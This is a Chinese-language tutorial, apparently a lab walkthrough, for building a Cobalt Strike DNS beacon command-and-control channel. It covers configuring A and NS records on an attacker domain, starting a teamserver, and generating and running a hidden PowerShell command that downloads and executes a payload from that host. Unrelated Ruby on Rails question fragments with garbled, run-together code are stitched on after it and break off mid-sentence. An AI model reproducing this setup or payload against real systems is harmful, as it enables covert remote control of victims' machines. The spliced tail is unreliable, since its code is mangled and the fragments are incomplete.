我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!
(1)DNS 木马优缺点
dns木马因为隐蔽性好,在受害者不会开放任何端口的时候可以规避防火墙协议,因为走的是53端口 (服务器),防火墙不会拦截,缺点响应慢。
(2)DNS Beacon的类型
windows/beacon_dns/reserve_http (传输数据小)
有效载荷通过HTTP连接分阶段。当您创建此侦听器时,请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时,Cobalt Strike在端口53上站起来的DNS服务器。
windows/beacon_dns/reverse_dns_txt (传输数据大)
有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时,请注意,您正在配置该有效负载将用于HTTP通信的端口。再次,Cobalt Strike知道在53端口站起来一个DNS服务器。
beacon_dns/reserve_http(支持命令切换到该模式:mode dns)
将http通信方式,改为了使用dns的a记录方式进行通信。速度较慢,但非常隐蔽,推荐使用!
beacon_dns/reserve_dns_txt(支持命令切换到该模式:mode dns-txt)
同上,只是改为使用dns的txt方式进行通信,传输的数据量更大,推荐使用!
(1)流程图

从上图中可以看到,当我们给CS的team server搞了一个域名并配置相应的A记录以及指向自身A记录的NS记录后,DNS请求就会被迭代查询的本地DNS服务器一步一步引向team server,team server收到了服务端的特殊请求后便可以用封装的加密通信协议与之交互了。
//A记录:用来指定主机名或者是域名对应的IP地址记录。是DNS服务器中告诉用户该域名指向哪个IP地址的记录。
//NS记录:是域名服务器记录,用来指定由哪台服务器对该域名进行解析。
(2)具体分析:当靶机在运行了payload后,会对域名123456.ns1.clqwsn.xyz进行解析
(1)一台virmach购买的公网VPS:x.x.x.x

(2)一个godaddy申请的域名:clqwsn.xyz
第一步:在域名管理处,创建一个A记录指向我们的公网team server主机,即cs.clqwsn.xyz 指向 x.x.x.x;
第二步:创建两个ns记录(NS记录是指定由哪个DNS服务器解析你的域名)指向自身的A记录【让自己充当dns服务器】, 即分别是ns1.clqwsn.xyz和ns2.clqwsn.xyz指向cs.clqwsn.xyz。
//如下图所示:

(1)公网主机开启team server:./teamserver x.x.x.x 123456
//如下图所示:x.x.x.x是我们的公网vps的IP

(2)真机充当攻击者团队成员,去连接team server:双击cobaltstrike.bat

(3)创建监听器,开启team server的侦听
//如下图所示:此处host填写公网IP对应的域名cs.clqwn.xyz

//如下图所示:传输地址填写ns1.clqwsn.xyz,ns2.clqwsn.xyz

(4)nslookup测试dns服务:nslookup 123456.ns1.clqwsn.xyz
//如下图所示:只要监听器配置正确,则会返回非权威回答的0.0.0.0,若没有配置或不正确则会显示超时。

(5)dig +trace测试dns服务:
//如下图所示:该命令其实是想知道完整的域名迭代查询过程

(6)生成payload攻击载荷:脚本web传递
//如下图所示:host填写cs.clqwsn.xyz

//如下图所示:保存下来payloadpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"

(7)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"

//如下图所示:我们在靶机运行后,在cs的web日志和视图可以看到靶机已上线

(8)靶机上线后,右键视图下的靶机,单击beacon,进入beacon,执行checkin强制被控端回连(受害人主动请求)
//如下图所示:我们需要等待一会

//如下图所示:等待一两分钟后,靶机上线

(9)转换协议:mode [http | dns | dns-txt]
略
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
我正在编写一个包含C扩展的gem。通常当我写一个gem时,我会遵循TDD的过程,我会写一个失败的规范,然后处理代码直到它通过,等等......在“ext/mygem/mygem.c”中我的C扩展和在gemspec的“扩展”中配置的有效extconf.rb,如何运行我的规范并仍然加载我的C扩展?当我更改C代码时,我需要采取哪些步骤来重新编译代码?这可能是个愚蠢的问题,但是从我的gem的开发源代码树中输入“bundleinstall”不会构建任何native扩展。当我手动运行rubyext/mygem/extconf.rb时,我确实得到了一个Makefile(在整个项目的根目录中),然后当
我有一个围绕一些对象的包装类,我想将这些对象用作散列中的键。包装对象和解包装对象应映射到相同的键。一个简单的例子是这样的:classAattr_reader:xdefinitialize(inner)@inner=innerenddefx;@inner.x;enddef==(other)@inner.x==other.xendenda=A.new(o)#oisjustanyobjectthatallowso.xb=A.new(o)h={a=>5}ph[a]#5ph[b]#nil,shouldbe5ph[o]#nil,shouldbe5我试过==、===、eq?并散列所有无济于事。
我有一些Ruby代码,如下所示:Something.createdo|x|x.foo=barend我想编写一个测试,它使用double代替block参数x,这样我就可以调用:x_double.should_receive(:foo).with("whatever").这可能吗? 最佳答案 specify'something'dox=doublex.should_receive(:foo=).with("whatever")Something.should_receive(:create).and_yield(x)#callthere
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
Sinatra新手;我正在运行一些rspec测试,但在日志中收到了一堆不需要的噪音。如何消除日志中过多的噪音?我仔细检查了环境是否设置为:test,这意味着记录器级别应设置为WARN而不是DEBUG。spec_helper:require"./app"require"sinatra"require"rspec"require"rack/test"require"database_cleaner"require"factory_girl"set:environment,:testFactoryGirl.definition_file_paths=%w{./factories./test/
我遵循MichaelHartl的“RubyonRails教程:学习Web开发”,并创建了检查用户名和电子邮件长度有效性的测试(名称最多50个字符,电子邮件最多255个字符)。test/helpers/application_helper_test.rb的内容是:require'test_helper'classApplicationHelperTest在运行bundleexecraketest时,所有测试都通过了,但我看到以下消息在最后被标记为错误:ERROR["test_full_title_helper",ApplicationHelperTest,1.820016791]test
我已经构建了一些serverspec代码来在多个主机上运行一组测试。问题是当任何测试失败时,测试会在当前主机停止。即使测试失败,我也希望它继续在所有主机上运行。Rakefile:namespace:specdotask:all=>hosts.map{|h|'spec:'+h.split('.')[0]}hosts.eachdo|host|begindesc"Runserverspecto#{host}"RSpec::Core::RakeTask.new(host)do|t|ENV['TARGET_HOST']=hostt.pattern="spec/cfengine3/*_spec.r
我在app/helpers/sessions_helper.rb中有一个帮助程序文件,其中包含一个方法my_preference,它返回当前登录用户的首选项。我想在集成测试中访问该方法。例如,这样我就可以在测试中使用getuser_path(my_preference)。在其他帖子中,我读到这可以通过在测试文件中包含requiresessions_helper来实现,但我仍然收到错误NameError:undefinedlocalvariableormethod'my_preference'.我做错了什么?require'test_helper'require'sessions_hel
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b